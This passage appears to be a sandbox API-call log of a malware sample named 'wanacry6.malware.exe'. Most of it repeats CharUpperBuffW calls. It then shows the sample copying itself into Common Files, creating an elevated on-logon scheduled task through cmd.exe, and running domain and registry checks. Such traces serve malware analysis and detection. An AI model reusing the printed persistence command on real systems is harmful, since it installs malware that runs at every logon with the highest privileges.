cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.359] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.360] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.361] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.546] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xe8f3def390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0019.546] GetFullPathNameW (in: lpFileName="C:\\PROGRA~1\\COMMON~1", nBufferLength=0x7fff, lpBuffer=0xe8f3def390, lpFilePart=0x0 | out: lpBuffer="C:\\PROGRA~1\\COMMON~1", lpFilePart=0x0) returned 0x14 [0019.546] CopyFileExW (lpExistingFileName="C:\\Users\\5JGHKO~1\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacry6.malware.exe"), lpNewFileName="C:\\PROGRA~1\\COMMON~1\\wanacry6.malware.exe" (normalized: "c:\\progra~1\\common~1\\wanacry6.malware.exe"), lpProgressRoutine=0x0, lpData=0x0, pbCancel=0xe8f3dff3a0, dwCopyFlags=0x8) returned 1 [0019.601] FindNextFileW (in: hFindFile=0xe8f418fe80, lpFindFileData=0xe8f3dff4b0 | out: lpFindFileData=0xe8f3dff4b0) returned 0 [0019.601] FindClose (in: hFindFile=0xe8f418fe80 | out: hFindFile=0xe8f418fe80) returned 1 [0019.602] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.602] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xe8f3dff240, nSize=0x104 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0019.602] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0019.602] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0xe8f4162100 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0019.602] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\system32\\cmd.exe /c schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xe8f3dff6e0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe8f3dff670 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c schtasks /create /sc onlogon /tn 3123635631 /rl highest /tr C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE", lpProcessInformation=0xe8f3dff670*(hProcess=0x188, hThread=0x18c, dwProcessId=0xb74, dwThreadId=0xb94)) returned 1 [0019.621] CloseHandle (hObject=0x18c) returned 1 [0019.621] CloseHandle (hObject=0x188) returned 1 [0019.621] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.621] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.621] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.621] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0019.621] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.622] CharUpperBuffW (in: lpsz="HKLM64", cchLength=0x6 | out: lpsz="HKLM64") returned 0x6 [0019.622] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xe8f3dff350 | out: phkResult=0xe8f3dff350*=0x188) returned 0x0 [0019.622] RegQueryValueExW (in: hKey=0x188, lpValueName="EnableLinkedConnections", lpReserved=0x0, lpType=0xe8f3dff438, lpData=0x0, lpcbData=0xe8f3dff428*=0xf4077688 | out: lpType=0xe8f3dff438*=0x0, lpData=0x0, lpcbData=0xe8f3dff428*=0x0) returned 0x2 [0019.622] RegCloseKey (hKey=0x188) returned 0x0 [0019.622] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.622] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0019.622] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.622] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.622] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.622] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0019.622] PeekMessageW (in: lpMsg=0xe8f3dfeab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeab0) returned 0 [0019.623] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0019.623] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0019.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0019.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xe8f41785c0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0019.664] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0019.664] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xe8f3dfe228, BufferType=0xe8f3dfe250 | out: lpNameBuffer=0xe8f3dfe228*="WORKGROUP", BufferType=0xe8f3dfe250) returned 0x0 [0019.728] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0019.729] PeekMessageW (in: lpMsg=0xe8f3dfeab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeab0) returned 0 [0019.729] PeekMessageW (in: lpMsg=0xe8f3dfeab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeab0) returned 0 [0019.729] PeekMessageW (in: lpMsg=0xe8f3dfeab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeab0) returned 0 [0019.729] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0019.729] PeekMessageW (in: lpMsg=0xe8f3dfe210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe210) returned 0 [0019.729] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0019.730] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0019.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0019.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xe8f4178540, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0019.735] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0019.736] NetApiBufferSize (in: Buffer=0xe8f404bcd0, ByteCount=0xe8f3dfd988 | out: ByteCount=0xe8f3dfd988) returned 0x0 [0019.736] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0019.737] PeekMessageW (in: lpMsg=0xe8f3dfe210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe210) returned 0 [0019.737] PeekMessageW (in: lpMsg=0xe8f3dfe210, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe210) returned 0 [0019.738] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0019.738] PeekMessageW (in: lpMsg=0xe8f3dfeab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeab0) returned 0 [0019.738] PeekMessageW (in: lpMsg=0xe8f3dfeab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeab0) returned 0 [0019.738] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dfeab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeab0) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dfeab0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeab0) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff190) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.744] CharUpperBuffW (in: lpsz="HKCU64", cchLength=0x6 | out: lpsz="HKCU64") returned 0x6 [0019.744] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\PublishingWizard\\AddNetworkPlace\\AddNetPlace\\LocationMRU", ulOptions=0x0, samDesired=0x20019, phkResult=0xe8f3dff358 | out: phkResult=0xe8f3dff358*=0x0) returned 0x2 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff7a0) returned 0 [0019.744] PeekMessageW (in: lpMsg=0xe8f3dff7a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 